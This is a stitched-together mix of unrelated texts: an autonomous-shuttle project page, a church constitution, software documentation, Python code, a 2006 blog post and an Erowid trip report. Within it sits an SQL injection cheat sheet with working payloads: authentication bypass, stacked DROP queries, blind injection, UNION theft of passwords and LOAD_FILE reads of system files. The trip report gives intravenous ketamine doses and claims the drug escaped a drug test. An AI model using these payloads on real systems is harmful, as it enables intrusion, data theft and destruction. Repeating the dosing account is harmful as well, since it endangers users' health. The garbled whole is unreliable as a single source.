The goal of this project is to create an autonomous shuttle for the urban Indian last mile. The shuttle will operate on predefined routes and provide hassle free anytime connectivity to modes of public transport like the Metro. To keep the costs per shuttle low, we plan to leverage state-of-the-art Artificial Intelligence and other computational techniques that enable reducing the costs of sensing hardware needed per shuttle. In its first avatar the shuttle will provide connectivity between points in a university campus.
With this in mind, over the next year, we plan to achieve autonomous static obstacle avoidance, lane following, reading of basic traffic signals, and following speed limits. For doing this, during the learning phase, the shuttle builds a 3-D map of the route it will take, and then uses it for navigation.
Our current choice of vehicle platform is an electric rickshaw, and currently we are working on providing shuttle service within the IIIT-Delhi campus. We also hope to replicate the above on Mahindra’s latest electric car, the e2o.
These Are Some Of The Softwares And Technology Used In Our Car.
Detecting roads from their lane markings (white lines) on the roads.
Is used to detect the curbs on the side of the roads
For better real-world usage and better autonomy
Used to detect obstacles on the road and avoid them by getting out of their way
Uses the scans and the maps to find the rigid-body transformation (translation+rotation) that aligns them best
These Are Some Of The Harware Used In Our Car.
Used to create a full 360 degree environmental view for 3D-Mapping and better navigation
For capturing roads and curbs for further detection and processing
Controlled Area Network which allows the ROS Codes and the hardware of the automobile to interact with each other. It is a message-based protocol
The method of constructing or updating a map of an unknown environment while simultaneously keeping track of an agent's location within it
Join us on our facebook page and get the latest news and announcements on our project
Si stante, hoc natura videlicet vult, salvam esse se, quod concedimus ses haec dicturum fuisse
Some Words Of Vision From Our Mentors
Latest information about the project from our Facebook feed


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Happy Mother's Day Anya!
I hope you have a wonderful day!


7.1 NATIONAL COUNCIL
There shall be a National Council comprising the following:
a) The National Head, who shall be the Chairman
b) The National Secretary
c) National Executive Council members
d) The Trustees of the Church
e) The National Deacon
f) All Ministers and their wives
g) All Chairpersons and Secretaries of Boards and Committees at the
National level
h) National Ministry Leaders and Assistants
i) Regional or Area Executive Committee members
j) Regional Deacons
k) Regional or Area Ministry Leaders
l) Two (2) District financial Secretaries from each region, based on
annual rotation
m) All Presiding Elders
n) Retired Ministers (C.O.P. - U.S.A., Inc.) may attend but with no voting
rights.
7.1(1) CO-OPTION
The Chairman may co-opt other members as he deems necessary, but
such members shall have no voting rights.
7.1(2) FUNCTIONS
a) The National Council shall be the highest policy making body.
It shall be the final appellate body in all-disciplinary matters affecting
members and Officers of the Church for which purpose the Council may
appoint a Committee to investigate and make its recommendations to the
National Council. The National Council’s decisions shall be final.
It shall elect the National Executive Council members except the National
Head who shall be appointed by the International Executive Council of
the Church in Ghana.
b) It shall have the duty to recommend to the International Executive
Council of the Church of Pentecost in Ghana for the discipline of any
member of the National Council on grounds of stated misconduct (with
recourse to article 18, sections 18.1- 18.3) should the National Executive
Council fail to do so.
b) It shall receive and approve all reports and memoranda submitted at
National Council meetings.
c) The National Council shall have the power and authority to enact
by-laws, rules and regulations, code of ethics, etc., for the smooth running
of the Church.
7.1(3) VOTING
Voting at the National Council meeting shall be by secret ballot, acclamation
or show of hands.
7.2 NATIONAL EXECUTIVE COUNCIL
There shall be a National Executive Council that shall be responsible for the
day-to-day administration of the Church.
7.2(1) MEMBERSHIP
It shall be made up of seven (7) Ministers composed of the following:
a) The National Head
b) The National Secretary
c) Five (5) other Ministers who individually may hold the office of an
Apostle, a Prophet, or an Area Head.
e) The National Head in consultation with the National Executive Council
may co-opt other members to National Executive Council meetings either
from the clergy or from the laity, as and when necessary. Such co-opted
members shall have no voting rights.
7.2(4) FILLING OF VACANCIES
Whenever vacancies occur in the National Executive Council either from
or through retirement, death, resignation, removal or expiration of term of
office, the following shall be the procedure for new appointments:
a) The filling of vacancies shall be made with recourse to article 7,
section 7.2(3).
b) For one (1) vacancy, the National Head shall present three (3) candidates
to be elected by simple majority.
c) For two (2) vacancies, four (4) candidates shall be presented for election
by simple majority.
d) For three (3) vacancies, five (5) candidates shall be presented for election
by simple majority.
e) For four (4) vacancies, six (6) candidates shall be presented for election
by simple majority.
f) Voting shall be by secret ballot.
7.2(5) MEETINGS
The National Executive Council shall meet at least once a year. The National
Head, or in his absence the acting National Head, shall preside over
all meetings of the National Executive Council. Five (5) members shall
form a quorum for all meetings if and when possible.
7.2(6) TERM OF OFFICE
The term of office of the National Executive Council members shall be
four (4) years. They may be re-elected for further terms provided they do
not stay in office for more than two (2) consecutive terms at a time.
7.3 REGIONAL OR AREA PRESBYTERY
There shall be a Regional or Area Presbytery. The Presbytery shall be the coordinating
and the highest policy-making body in the region or Area. The Regional or
Area Executive Committee shall be accountable to this body. The Regional or Area
Head appointed by the International Executive Council shall be the Chairman of
the Regional or Area Presbytery, which shall meet at least, once a year.
7.3(1) COMPOSITION
The Regional or Area Presbytery shall comprise the following:
a) The Regional or Area Head
b) The Regional or Area Executive Committee members
c) The Regional or Area Ministry Leaders
d) All other serving Ministers in the Region or Area
e) All Ministers’ wives
f) All Regional or Area Committee Chairpersons
g) Two (2) District Executive Committee members, excluding the District
Minister, based on annual rotation
h) All Presiding Elders
i) Two (2) representative Deacons from each District based on annual
rotation
j) Two (2) representative Deaconesses from each District based on annual
rotation
k) Retired Ministers (C.O.P – USA) and Officers may attend, but shall have
no voting rights.
7.3(2) FUNCTIONS
a) It shall be the highest policy-making body in the Region or Area.
b) It shall elect the Regional or Area Executive Committee members.
c) It shall receive and approve all reports submitted at the Regional or Area
Executive Committee meetings.
d) It shall appoint and review Regional or Area Officers.
e) It shall approve the Regional or Area budget.
7.3(3) VOTING
Voting shall be by ballot, acclamation or show of hands.
7.4 REGIONAL OR AREA HEADS
There shall be a Regional or Area Head who shall be an Apostle, a Prophet or an
experienced Minister appointed by the International Executive Council for
ratification by the General Council.
7.4(1) FUNCTIONS
He shall:
a) be accountable to the National Head of the Church, and head the
administration of the Church in the Region or Area and act for the
National Head upon his directive.
b) chair the meetings of the Regional or Area Presbytery and the Executive
Committees, conventions, conferences, rallies, and be an ex-officio
member of all Boards and Committees in the Region or Area.
c) conduct seminars, retreats, symposia, training, and prayer meetings for
Ministers, Officers, and Leaders in the Region or Area.
d) supervise, implement, and perform all administrative and ministerial
policies and decisions of the General Council, National Council, National
Executive Council, National Head, Regional or Area Presbytery and
Executive Committees.
e) submit and present reports on the state of the Region or Area to the
Regional or Area Presbytery, National Head, National Executive and
National Councils as and when necessary.
f) administer funds in accordance with the approved Area budget and be re
sponsible for the infrastructural development of the Region or Area.
g) address all Ministries, Boards, Committees, and the Regional or Area
Presbytery meetings annually on the state of the Church in the Region or
Area.
h) perform any other duties as directed by the National Head or the National
Executive Council.
7.5 REGIONAL OR AREA EXECUTIVE COMMITTEE
There shall be established a Regional or Area Executive Committee at the
Regional or Area level to be accountable to the Regional or Area Presbytery.
7.5(1) MEMBERSHIP
Each Regional Executive Committee shall be made up of seven (7) members
as follows:
a) The Regional or Area Head as Chairman
b) The Regional or Area Secretary who shall be a Minister
c) Two (2) Ministers
d) The Regional or Area Deacon
e) Two (2) Elders
f) In a Region where a Prophet is a District Minister, he shall become an
automatic member of the Committee. If he joins the Region after the
formation of the Committee, he shall be co-opted until a vacancy occurs.
7.5(2) FUNCTIONS
a) It shall be responsible for the day-to-day administration of the Church in
the region or Area and the implementation of decisions and policies of the
National Executive Council and the Regional or Area Presbytery.
b) It shall adjudicate on all matters brought to it either by the National
Executive Council or on its own initiative and report to the National
Executive Council.
c) It shall act as an appellate body in all matters decided upon by the District
Executive Committee.
d) It may consider policy matters affecting the region or Area and make
recommendations to the Regional or Area Presbytery for consideration.
e) It shall receive and approve all reports and memoranda submitted by the
District Ministries and Committees.
7.5(3) INCAPACITATION OR ABSENCE OF REGIONAL OR
AREA HEAD
In the event of incapacitation or absence of the Regional or Area Head,
the National Executive Council shall arrange for temporary replacement.
7.5(4) ELECTION/APPOINTMENT OF MINISTERS
a) The Regional or Area Head in consultation with the National Head of the
Church shall nominate four (4) Ministers to be voted upon by the
Regional or Area Presbytery. The first two (2) candidates who receive the
highest votes shall serve on the Committee.
b) Where there is a Prophet as District Minister, three (3) Ministers shall be
nominated for election. The candidate who receives the highest votes
shall serve on the Committee.
7.5(5) ELECTIONS AND APPOINTMENTS OF ELDERS
The Regional or Area Head shall nominate four (4) Elders to be voted
upon by the Regional or Area Presbytery. The first two (2) candidates
who receive the highest number of votes shall serve on the Committee.
7.5(6) CO-OPTION
The Regional or Area Head may co-opt other members from either the
clergy or the laity to serve on the Committee on a meeting-to-meeting
basis, as and when the need arises. The co-opted members shall have no
voting rights.
7.5(7) TERM OF OFFICE
a) Members shall hold office for a term of three (3) years, and may be
reelected for further terms provided they do not stay in office for more
than two (2) consecutive terms at a time.
b) In cases of vacancies created by virtue of retirement, transfer or any other
reasons, the vacancy shall be filled within three (3) months. Should the
vacancy be created in respect of one (1) member, three (3) members shall
be nominated. In case of two (2) vacancies, four (4) nominations shall be
made and voted upon by the Regional or Area Presbytery.
7.6 REGIONAL OR AREA SECRETARY
There shall be a Regional or Area Secretary who shall be a Minister elected by the
Regional or Area Presbytery.
7.6(1) FUNCTIONS
a) He shall take minutes at the Regional or Area Presbytery and Regional or
b) Area Executive Committee meetings.
c) He shall be accountable to the Regional or Area Head.
d) He shall be an ex-officio member of all Committees in the region.
e) He shall perform such other functions as may be assigned to him by the
Regional or Area Head.
7.6(2) ELECTIONS AND APPOINTMENTS
a) The Regional or Area Head shall nominate one (1) Minister to be voted
upon by the Regional or Area Presbytery. The candidate so nominated
shall be elected by two-thirds (2/3) majority votes, if and when possible.
b) If the candidate so presented fails to obtain the required two-thirds (2/3)
majority votes, the Regional or Area Head shall nominate a second
candidate for ratification by two-thirds (2/3) majority votes.
c) If the second candidate presented also fails to obtain the two-thirds (2/3)
majority votes, then the two (2) candidates shall be presented again to the
Regional or Area Presbytery for election on simple majority basis.
Where there is a tie, it shall be resolved by the casting of lots.
7.6(3) TERM OF OFFICE
The Regional or Area Secretary shall hold office for three (3) years and
may be re-elected for further terms provided he does not stay in office for
more than two (2) consecutive terms at a time.
7.7 DISTRICT PRESBYTERY
There shall be a District Presbytery that shall consist of the Minister, his wife, all
Elders, Deacons and Deaconesses in the District.
7.7(1) FUNCTIONS
a) It shall be the highest policy-making body in the District.
b) It shall discuss and decide on matters affecting the welfare of the Local
Assemblies in the District.
c) It shall elect the District Executive Committee members.
d) It shall receive and approve all reports and memoranda submitted by
Ministries, Boards and Committees.
e) It shall appoint and review District Officers.
f) It shall approve the District budget.
g) It shall consider matters affecting the District and send recommendations
to the Regional Executive Committee.
h) The District Presbytery shall nominate the representative Deacons and
Deaconesses for the Regional or Area Presbytery meeting.
7.7(2) MEETINGS
It shall meet at least two (2) times a year.
7.8 DISTRICT EXECUTIVE COMMITTEE
There shall be established a District Executive Committee at the District level to
be accountable to the District Presbytery.
7.8(1) MEMBERSHIP
a) The District Executive Committee shall be made up of:
i) The District Minister, who shall be the Chairman
ii) The District Secretary
iii) The Chairperson of the District finance Committee
iv) Four (4) Elders.
b) The Regional or Area Deacon shall not serve on the District Executive
Committee.
7.8(2) FUNCTIONS
a) It shall be responsible for the day-to-day running of the Church in the
District, implementing decisions of the Regional Executive Committee,
including decisions of the National Executive Council.
b) It shall adjudicate on matters brought to it by the Regional or Area
Executive Committee or on its own, and report to the Regional or Area
Executive Committee.
c) It may consider policy matters affecting the District and make
recommendations to the District Presbytery.
7.9 ELECTIONS AND APPOINTMENTS OF ELDERS
a) The District Minister in consultation with the Regional or Area Head shall
nominate six (6) candidates from the Eldership to be voted upon by the
District Presbytery.
b) The first four (4) candidates who receive the highest votes shall serve on
the Executive Committee.
7.9(1) TERM OF OFFICE
Apart from the District Minister, all others shall hold office for two (2)
years and may be re-elected for further terms provided they do not stay in
office for more than two (2) consecutive terms at a time.
7.10 DISTRICT SECRETARY
There shall be appointed a District Secretary who shall be an Elder or an ordained
Officer.
7.10(1) ELECTION AND APPOINTMENTS
a) The District Minister shall in consultation with the District Executive
Committee nominate one (1) Elder or an ordained Officer to be voted
upon by the District Presbytery. The candidate so nominated shall be
elected by two-thirds (2/3) majority votes.
b) If the candidate so presented fails to obtain the required two-thirds (2/3)
majority votes from the District Presbytery Council, the Executive
Committee shall nominate a second candidate for ratification by
two-thirds (2/3) majority votes.
c) If the second candidate presented by the Executive Committee also fails
to obtain two-thirds majority votes, then the two (2) candidates shall be
presented again to the District Presbytery for election on simple majority
basis. Where there is a tie, it shall be resolved by the casting of lots.
7.10(2) FUNCTIONS
a) Take minutes at the District Presbytery and Executive Committee
meetings.
b) Be accountable to the District Minister.
c) Be an ex-officio member of all Committees in the District.
d) Perform such other functions as may be assigned to him by the
District Minister.
7.10(3) TERM OF OFFICE
The District Secretary shall hold office for two (2) years and may be reelected
for further terms provided he/she does not stay in office for
more than two (2) consecutive terms at a time.
7.10(4) FILLING OF VACANCIES
a) Vacancies created by virtue of retirement, transfer or any other reasons
shall be filled within three (3) months.
b) Should a vacancy be created in respect of one (1) member, three (3)
members shall be nominated. In the case of two (2) vacancies, four (4)
nominations shall be made by the District Minister in consultation with
the District Executive Committee.
7.10(5) VOTING
Voting shall be by secret ballot, acclamation or show of hands.
7.11 LOCAL PRESBYTERY
There shall be a Local Presbytery that shall consist of the Minister, his wife, Elders,
Deacons and Deaconesses of the Local Assembly. Local Ministry Leaders who
are not ordained Officers shall be co-opted to the Local Presbytery, where applicable,
but shall not have voting rights.
7.11(1) FUNCTIONS
The Local Presbytery shall decide on matters concerning the Local
Assembly.
7.11(2) MEETINGS
The Local Presbytery shall meet at least once quarterly, and as and when
needed.
7.12 LOCAL SECRETARY
There shall be a Local Secretary who shall be an Officer or member of the Local
Assembly.
7.12(1) FUNCTIONS
a) The Local Secretary shall take minutes at the meetings of the Local
Presbytery and keep a Minutes Book.
b) The Local Secretary shall be accountable to the District Minister and the
Presiding Elder.
7.12(2) ELECTION AND APPOINTMENTS
a) The District Minister (or the Presiding Elder in consultation with the
District Minister) shall nominate an Officer or a member to be elected by
the Local Presbytery by two-thirds (2/3) majority votes.
c) If the candidate so presented fails to obtain the required two-thirds (2/3)
majority votes from the Local Presbytery, the Minister or Presiding Elder
shall nominate a second candidate for ratification by two-thirds (2/3)
majority votes.
d) If the second candidate presented also fails to obtain the two-thirds
majority votes, the two (2) candidates shall be presented again to the
Presbytery for election on simple majority basis. Where there is a tie,
it shall be resolved by the casting of lots.
7.12(3) TERM OF OFFICE
The Secretary shall hold office for two (2) years and may be reelected for
further terms provided he or she does not stay in office for more than two
(2) consecutive terms at a time.


--- layout: default nav: tutorial ---
This example shows some of the features of the intercooler debugger. The debugger can be launched by including the following javascript:
<script> $.getScript("https://intercoolerreleases-leaddynocom.netdna-ssl.com/intercooler-debugger.js"); </script>
The buttons below will all show up in the "Elements" tab of the debugger. If you click on the element it will highlight the element in the UI and show you the intercooler related details, including the target.
The "Log" tab will include all the log messages that intercooler generates, with links back to the elements that generate them.
Finally, the "Errors" tab will include any error states that intercooler detects. In this case, there are two: Button 2 has a bad target, and Button 3 has a bad indicator.
Note that the "server side" implementation is mocked out using mockjax, so you can see the entire implementation. Click the "Source Code" tab to see the code.


Use comments
Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.
Username: admin'--
SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'
DROP/*comment*/sampletable
DR/**/OP/*bypass blacklisting*/sampletable
SELECT/*avoid-spaces*/password/**/FROM/**/Members
SELECT /*!32302 1/0, */ 1 FROM tablename in MySQL Will throw an divison
by 0 error if MySQL version is higher than3.23.02
Stack queries
Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.
SELECT * FROM members; DROP members--
ID: 10;DROP members --
SELECT * FROM products WHERE id = 10; DROP members--
IF Statements
Get response based on a if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly andaccurately.
This will throw an divide by zero error if current logged user is not "sa" or "dbo"
if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0
Using Integers
Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.
0xHEXNUMBER (SM) You can write hex like these;
SELECT CHAR(0x66)
SELECT 0x5045 (this is not an integer it will be a string from Hex)
SELECT 0x50 + 0x45 (this is integer now!)
String Operations
String related operations. These can be quite useful to build up injections which are not using any quotes, bypass any other black listing or determine back end database.
String Concatenation
SELECT login + '-' + password FROM members
SELECT login || '-' || password FROM members
SELECT CONCAT(login, password) FROM members
Strings without Quotes
These are some direct ways to using strings but it's always possible to use CHAR() and CONCAT() to generate string without quotes.
0x457578 Hex Representation of string
SELECT 0x457578 This will be selected as string in MySQL.
SELECT CONCAT('0x',HEX('c:\\boot.ini')) In MySQL gen hex representations of strings
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) Using CONCAT() in MySQL will return 'KLM'.
SELECT CHAR(75)+CHAR(76)+CHAR(77) This will return 'KLM'.
SELECT CHR(75)||CHR(76)||CHR(77) This will return 'KLM'
SELECT (CHaR(75)||CHaR(76)||CHaR(77)) This will return 'KLM'.
Hex based SQL Injection Samples
SELECT LOAD_FILE(0x633A5C626F6F742E696E69) This will show the content of c:\boot.ini
String Modification & Related
ASCII() (SMP) Returns ASCII character value of leftmost
character. A must have function for Blind SQL Injections.
SELECT ASCII('a')
CHAR() (SM) Convert an integer of ASCII.
SELECT CHAR(64)
Union Injections
With union you do SQL queries cross-table. Basically you can poison query to return records from another table.
This will combine results from both news table and members table and return all of them.
SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
Another Example:
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
UNION – Fixing Language Issues
While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It's rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.
Use field COLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one - check out
SQL Server documentation.
SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members
Hex() for every possible issue
@@version information (varies by DB)
INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)


本软件使用宽松的MIT开源许可。和GDAL是相同的。之所以采用MIT许可，是让软件有更大的扩充和可用空间。该许可允许使用, 拷贝, 修改, 合并, 出版, 分发, 颁发从属许可, 和/或买卖该软件的拷贝。大家放心大胆使用九形做任何事吧。为国人提供一个低成本，低门槛，却又高质量，对初学者和商业应用都有意义的GIS软件是"九形"的努力目标。让我们共同为中国自己的GIS贡献我们大家的力量吧！
但是注意，开放不意味着可以拿来乱搞。请大家以对待自己孩子一样对待“九形”，对待每一个开源软件，不管它写得是好是坏，对你有用还是无用。
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
 IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
| geosings, 九形许可 | 返回主目录 |


This module realizes OHLC class which simplifies work with OHLC bars.
OHLC stands for Open, High, Low, Close prices inside fixed time period.
For example:
- open 1.3
- high 1.4
- low 1.1
- close 1.2
for 5-minute bar means that
inside those five minutes the first market deal was at price 1.1, last at 1.2,
highest price was 1.4 and lowest was 1.1.
Bars can follow one another in time (bar starts where previous ends)
or bars can go with some fixed interval one over another
(for example bars are one hour big, but there is a bar every 1 minute).
By default first behaviour is used, to change it use "rolling_backwards" when initializing OHLC


Name
Grade
Einstein
50 pts
Freud
88 pts
Edison
62 pts
Newton
75 pts
Darwin
94 pts
Average
?
Calc Average


{% include ("libs.html") %}
Take a look at the simple "Hello, world" code in Iodine. Pretty simple, right? Already, you should start to spot features that you're used to:
You're getting tough to convince. Perhaps taking a look at Iodine's powerful object-oriented programming features will help?
At first, you quickly notice the self keyword, which Pythonistas should be familiar with. If you're not familiar with it, self is used to make the function a class method, as opposed to a static method. Then, you can access the class through self (just like C#'s this keyword).
You can also see the super() function, which is used to call the parent class' constructor (which shares the name of the class, like in C#). Even if the parent class has no constructor, you still need super (), or else the class won't actually inherit.
Did we mention that semi-colons are optional? If you prefer to omit them, Iodine has no trouble with that. Cool, eh?
This site is hosted and powered by Potassium, an Iodine-based web server. If you've ever tried Django or Ruby on Rails, you'll love Potassium and the Iodine ecosystem! So, why not go back to the top and try out Iodine today, free of charge, and free as in freedom.


ORM
public interface ORM
| Method Summary | |
|---|---|
| mixed | connect() Connect to the database |
| $this | build() Build the query to be executed (do not execute it), the query should be build inside the $this->_last_query variable |
| mixed | run() Run the query, this method can be called without having called build, so you have to build the query if it has not been done yet. |
| private array|object | _get_row(bool instantiate) Get a single row from the result set and move the iterator forward |
| private array | Get all rows from the result set |
| int | Get the last insert ID |
| int | count() Count the number of results |
public mixed connect()
Connect to the database
public $this build()
Build the query to be executed (do not execute it), the query should be build inside the $this->_last_query variable
public mixed run()
Run the query, this method can be called without having called build, so you have to build the query if it has not been done yet.
The result of the query should also be assigned to $this->_last_query_result
private array|object _get_row(bool instantiate)
Get a single row from the result set and move the iterator forward
private array _get_rows()
Get all rows from the result set
public int insert_id()
Get the last insert ID
public int count()
Count the number of results


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Integration helps you connect two or multiple web services. To create an integration, choose one of the templates below and add some contextual details.
Alternatively, you can create an integration from scratch.


--- title: Virtual PC running on Vista host date: '2006-06-13T12:20:00.000-04:00' author: John tags: - Virtualization - Vista modified_time: '2010-09-05T13:04:41.253-04:00' blogger_id: tag:blogger.com,1999:blog-2811308028656623966.post-2208452974939038312 blogger_orig_url: http://pragmatic-software.blogspot.com/2006/06/virtual-pc-running-on-vista-host.html ---
I looked for an answer but few people seem to have posted about this one so I figured I would in case others asked. After trying Vista *inside* a virtual machine, I next wondered if I could install Virtual PC onto a Vista host. After all, running Vista “right on the metal” of a real machine is much sexier than inside an emulated VM :). After a false start of trying to launch the MSI I found a suggestion somewhere that you had to run the Setup.exe stub which worked great. So...when trying older installers, use the Setup and it seems to work well. BTW, Virtual PC 2004 SP1 works well under Vista so migrating over is much easier. You *ARE* using VMs for development, testing, etc. right??? Doing so makes the physical machine irrelevant and recovery from hardware failures much faster.


Opt
public enum Opt
A customization option for a Caffeination
.
Note
Any givenCaffeination
can be passed only one of each Opt
. So, for instance, it is valid to pass a .timed
and .process
Opt; however, it is not possible to have two different .process
Opts.
-
Prevents disk idle sleep.
Declaration
Swift
case disk
-
Prevents display sleep.
Declaration
Swift
case display
-
Prevents system idle sleep.
Declaration
Swift
case idle
-
Prevents system sleep.
Note
On MacBooks, will only work when connected to AC power.Declaration
Swift
case system
-
Simulates user activity to keep display awake.
Note
caffeinate
should automatically timeout after 5 seconds if.timed
is not also selected. However, due to a bug in thecaffeinate
tool, this does not currently happen, and the process will continue indefinitely.Declaration
Swift
case user
-
Terminates Caffeination when process with specified PID exits. Might be preempted by
.timed
.Declaration
Swift
case process(Int32)
-
Terminates Caffeination after specified period of time in seconds. Might be preempted by
.process
.Declaration
Swift
case timed(TimeInterval)
-
The default options for a standard Caffeination.
Declaration
Swift
public static var defaults: [Opt] { get }
-
Converts an Opt to the raw argument(s) passed to caffeinate.
Declaration
Swift
public var argumentList: [String] { get }
-
Returns an
Opt
corresponding to a single caffeinate argument string.Note
Options that require a numerical argument (e.g.,-t
) should usefrom(_ array:)
.Declaration
Swift
public static func from(_ string: String) -> Opt?
Parameters
string
The String containing the argument to parse.
Return Value
An
Opt
corresponding to the argument passed, ornil
if the argument was not recognized. -
Returns an
Opt
from a [String] containing a single argument to caffeinate and, if necessary, an associated numerical argument.Note
nil
will be returned if:- an unknown argument is passed (e.g.,
["-f"]
). - a value is passed for an argument that doesn’t accept one (e.g.,
["-m", "42"]
). - no value is passed for an argument that requires one (e.g.,
["-w"]
). - multiple option arguments are passed (e.g.,
["-d", "-m"]
) (usearray(from:)
instead).
Declaration
Swift
public static func from(_ array: [String]) -> Opt?
Parameters
array
The array containing the single argument to caffeinate and an associated value (if necessary).
Return Value
An
Opt
corresponding to the argument, ornil
. - an unknown argument is passed (e.g.,
-
Returns an [Opt] from a [String] containing raw arguments (and their associated integer values, if needed) to caffeinate, or
nil
if an invalid value is passed (see discussion).Note
nil
will be returned if:- an unknown argument is passed (e.g.,
["-f"]
). - a value is passed for an argument that doesn’t accept one (e.g.,
["-m", "42"]
). - no value is passed for an argument that requires one (e.g.,
["-w", "-d"]
).
Declaration
Swift
public static func array(from stringArray: [String]) -> [Opt]?
Parameters
stringArray
The array from which to parse the argument (and associated value).
Return Value
An array of
Opt
s corresponding to the values passed, ornil
. - an unknown argument is passed (e.g.,


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Decoder classes, Controller architecture in a MVC layout."""
from __future__ import absolute_import
import os
from dnazip.sequence import Sequence
from dnazip.burros_wheeler import BurrosWheeler
from dnazip.huffman import HuffmanTree
[docs]class HuffDecoder:
"""A decoder class for Huffman decompression, it is used as a controller
in a MVC architecture.
Attributes
----------
path: str
The path of the file to be decompressed with Huffman decompression.
seq: Sequence
The sequence that was extracted from the file; a Sequence object.
dehuffman_output: str
The output file path for Huffman decompression.
binary: str
The binary sequence that was translated from unicode using Huffman
codes.
header: str
The header of the compressed file; contains Huffman codes and paths
as well as padding that were generated when compressing the sequence.
unicode: str
The compressed format of the sequence.
decompressed: str
The decompressed sequence; normally the Burros-Wheeler transform of an
original sequence.
"""
def __init__(self: object, path: str) -> None:
"""Class constructor.
Parameters
----------
path : str
The path of the file to be read.
Returns
-------
None
A class instance.
"""
self.path = os.path.splitext(path)[0]
self.seq = Sequence(path)
self.dehuffman_output = self.path + '_dehuff.txt'
self.binary = None
self.header = None
self.unicode = None
self.decompressed = None
[docs] def decode(self: object) -> None:
"""The main decoding method of the controller.
Returns
-------
None
Fills all the properties of an object and writes out the
decompressed sequence to a file.
"""
seq = self.seq.read_bytes()
self.header = seq[:seq.index('\n')]
self.unicode = seq[seq.index('\n')+1:]
re_codes = HuffmanTree.header_to_codes(self.header)
binary = HuffmanTree.unicode_to_binstr(self.unicode)
padding = int(re_codes['pad'])
self.binary = HuffmanTree.remove_padding(binary, padding)
self.decompressed = HuffmanTree.binstr_to_seq(self.binary, re_codes)
Sequence(self.dehuffman_output).write(self.decompressed)
[docs]class BWDecoder:
"""A decoder class for inversing the Burros-Wheeler transform, it is used
as a controller in a MVC architecture.
Attributes
----------
path: str
The path of the file to be transformed with inverse of Burros-Wheeler.
seq: Sequence
The sequence that was extracted from the file; a Sequence object.
debwt_output: str
The output file path for the inverse of BWT.
bwm: List[str]
The reconstructed Burros-Wheeler Matrix.
original: str
The original sequence from the inverse BWT.
"""
def __init__(self: object, path: str) -> None:
"""Class constructor.
Parameters
----------
path : str
The path of the file to be read.
Returns
-------
None
A class instance.
"""
self.path = os.path.splitext(path)[0]
self.seq = Sequence(path)
self.debwt_output = self.path + '_debwt.txt'
self.bwm = None
self.original = None
[docs] def decode(self: object) -> None:
"""The main decoding method of the controller.
Returns
-------
None
Fills all the properties of an object and writes out the original
sequence to a file.
"""
self.bwm = list(BurrosWheeler.reconstruct_bwm(self.seq.read()))
self.original = BurrosWheeler.decode_bwt(self.bwm[-1])
Sequence(self.debwt_output).write(self.original)
[docs]class FullDecoder:
"""A decoder class for both Huffman decompression and the inverse of the
Burros-Wheeler transform, controller architecture.
Attributes
----------
path: str
The path of the file to be compressed with BWT + Huffman compression.
huff_decoder: HuffDecoder
A HuffDecoder object to do the Huffman decompression on a compressed
sequence.
bw_decoder: BWDecoder
A BWDecoder object to do the inverse of Burros-Wheeler transform on
the output of Huffman decompression.
"""
def __init__(self: object, path: str) -> None:
"""Class constructor.
Parameters
----------
path : str
The path of the file to be read.
Returns
-------
None
A class instance.
"""
self.path = path
self.huff_decoder = None
self.bw_decoder = None
[docs] def full_unzip(self: object) -> None:
"""The main decoding method of the controller, it first decodes the
sequence with Huffman decompression, then passes the uncompressed
sequence to do the Inverse of Burros-Wheeler transform and obtain
the original sequence.
Returns
-------
None
Fills all the properties of an object and writes out the
original sequence to a file.
"""
self.huff_decoder = HuffDecoder(self.path)
self.huff_decoder.decode()
self.bw_decoder = BWDecoder(self.huff_decoder.dehuffman_output)
self.bw_decoder.decode()


At about 10 o clock I was looking at the needle.. can I do it now?? I asked my friend. He was already high on weed and he said sure, but once you done, lets go to my basement.. I injected .5 ml's of Ketamine into my right arm and relaxed. Right before I put another .5 into my left arm, it kicked in in about 3 minutes. It was hard but I finally got it in. *relaxation of another kind* We were listening to loveline and Adam and Dr. Drew's voices combined with my friends.. I actually saw and spoke with Drew and Adam. I do not suggest listening to voices while on K tho. It might spark a bad K hole if the voices say something that brings up bad memories. Perhaps some Radiohead would be best.. Anyways, my arms got weird looking and everything formed in the shape of a triangle. Mini squares of light and color swirled about. I was aiming to go into an out of body experience.. it never happened but it was definately the best drug experience of my life.
Later I went into the basement stumbling about. While in my K hole my words splurged out yet were not potent enough to make any sense at all. I didn't even know wat I was saying half the time. I then injected .2 more and went with my friend to a shed so he could smoke weed. I couldn't smoke weed becuase of my drug testing. The K didn't show up in my tests at all. Clean as a whistle.. I smoked a ciggarette and it was the best cig of my life, the smoke was elegant and flowed perfectly. After that I stumbled about inside the house.  Thank god I didn't eat be4 or after the K hole. Well, I plan on doing it again and again.. a great time in the end.. later
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


